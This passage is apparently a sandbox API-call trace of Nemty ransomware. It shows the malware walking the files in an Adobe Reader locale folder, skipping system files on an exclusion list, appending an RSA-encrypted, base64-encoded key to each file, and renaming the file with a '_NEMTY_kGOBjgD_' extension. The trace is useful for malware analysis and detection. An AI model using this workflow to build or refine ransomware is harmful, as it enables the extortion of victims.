lpString2="BOOTSECT.BAK") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="bootmgr") returned 1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="programdata") returned -1 [0183.919] lstrcmpiW (lpString1="DVA.SLV", lpString2="appdata") returned 1 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SLV", lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SLV", lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SLV", lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0183.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SLV", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SLV", lpUsedDefaultChar=0x0) returned 7 [0183.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.920] Sleep (dwMilliseconds=0x5) [0183.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2145d7f0, dwHighDateTime=0x1d561e8)) [0183.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2145d7f0, dwHighDateTime=0x1d561e8)) [0183.922] GetLastError () returned 0x0 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.922] GetLastError () returned 0x0 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.922] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.922] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.922] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="B1AEZDGTSDBYYYeosEtfAGtCCyYutPf6Nf6+TpfWUljvMmwLoKFRGP26qiv4ZU/8\r\n3bB1JNlVyXXgKQ9a3ZK439Ha7WQjJRjIKczLUi5yiTeS7K6xhr46H0O1meU9P38c\r\niFLrLxyH/vj3GTFgN1/9MKbRKgEuhl+bSkRE9lEcHaJkCUKQKTZuliGtL32VNj4j\r\nIEqBdDRWl0kp1t1qjr1vVIsqcQxxxLvjDq92UTRXd/S5GjTSyFboUWGiGhAhkJJR\r\ngLf65sv33y5tYV6OlwAeb+Vjw5aM8amc0JYFSkUFCqkarLmsyC9msMqV0lkQLbvn\r\nl1NUHN9695YFyKB81pEoEg==\r\n", pcchString=0x653e5dc) returned 1 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DVA.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\dva.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.923] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0183.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0183.924] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.924] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0183.926] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.926] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0183.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.926] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0183.926] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.927] CloseHandle (hObject=0x2e8) returned 1 [0183.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.927] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.927] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DVA.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\dva.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\DVA.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\dva.slv._nemty_kgobjgd_")) returned 1 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.928] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0183.928] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.SLV", cAlternateFileName="")) returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2=".") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="..") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="...") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="windows") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="rsa") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="NTDETECT.COM") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="ntldr") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="MSDOS.SYS") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="IO.SYS") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="boot.ini") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="boot.ini") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="ntuser.dat") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="desktop.ini") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="CONFIG.SYS") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="RECYCLER") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="bootmgr") returned 1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="programdata") returned -1 [0183.928] lstrcmpiW (lpString1="eBook.SLV", lpString2="appdata") returned 1 [0183.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SLV", lpUsedDefaultChar=0x0) returned 9 [0183.928] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.928] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SLV", lpUsedDefaultChar=0x0) returned 9 [0183.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SLV", lpUsedDefaultChar=0x0) returned 9 [0183.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0183.929] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.SLV", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.SLV", lpUsedDefaultChar=0x0) returned 9 [0183.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0183.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0183.929] Sleep (dwMilliseconds=0x5) [0183.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21483950, dwHighDateTime=0x1d561e8)) [0183.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21483950, dwHighDateTime=0x1d561e8)) [0183.937] GetLastError () returned 0x0 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0183.938] GetLastError () returned 0x0 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0183.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.938] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0183.938] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0183.938] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0183.938] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="GNZEgGJ63OBk4fxjPQu3Vq6r/aparcCz7u6qwnoiuHy1tow2M1BxUbvvGNiXQggw\r\n9PyxnD+vioHK/GW9e06r2EU9P5yYTRAPwOAjSgKG9pmd35xVhqLGIKjv2EvypVff\r\nqTcM0pIoYf+80M8wDbx6fmWH2xTjkQRJhYRu4Eck9SPv2yzaCHQO97PBG+tjGjCN\r\n00AC9/pdjYue3bzQ0heU37fMTzZcyTclKA7mXaDx26PcW6/i1HzYUAqAwt/V86F8\r\nXc/k2oG+PffLOAMCfrqupB/oS0Y8bhqjmrENrjsKSgzIoMLbG84XsCRfm7rYZ/Ut\r\nBSRYIPu3pkq/Y2fo2kiUaw==\r\n", pcchString=0x653e5dc) returned 1 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0183.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.938] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0183.938] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0183.938] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0183.938] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0183.939] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0183.939] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.939] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0183.941] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0183.941] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0183.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0183.941] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0183.941] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0183.941] CloseHandle (hObject=0x2e8) returned 1 [0183.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0183.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0183.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0183.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0183.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0183.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0183.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0183.941] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0183.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0183.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0183.941] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\eBook.SLV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\ebook.slv._nemty_kgobjgd_")) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0183.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0183.942] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.SLV", cAlternateFileName="")) returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2=".") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="..") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="...") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="windows") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="$RECYCLE.BIN") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="rsa") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="NTDETECT.COM") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="ntldr") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="MSDOS.SYS") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="IO.SYS") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="boot.ini") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="boot.ini") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="AUTOEXEC.BAT") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="ntuser.dat") returned -1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="desktop.ini") returned 1 [0183.942] lstrcmpiW (lpString1="EScript.SLV", lpString2="CONFIG.SYS") returned 1 [0183.943] lstrcmpiW (lpString1="EScript.SLV", lpString2="RECYCLER") returned -1 [0183.943] lstrcmpiW (lpString1="EScript.SLV", lpString2="BOOTSECT.BAK") returned 1 [0183.943] lstrcmpiW (lpString1="EScript.SLV", lpString2="bootmgr") returned 1 [0183.943] 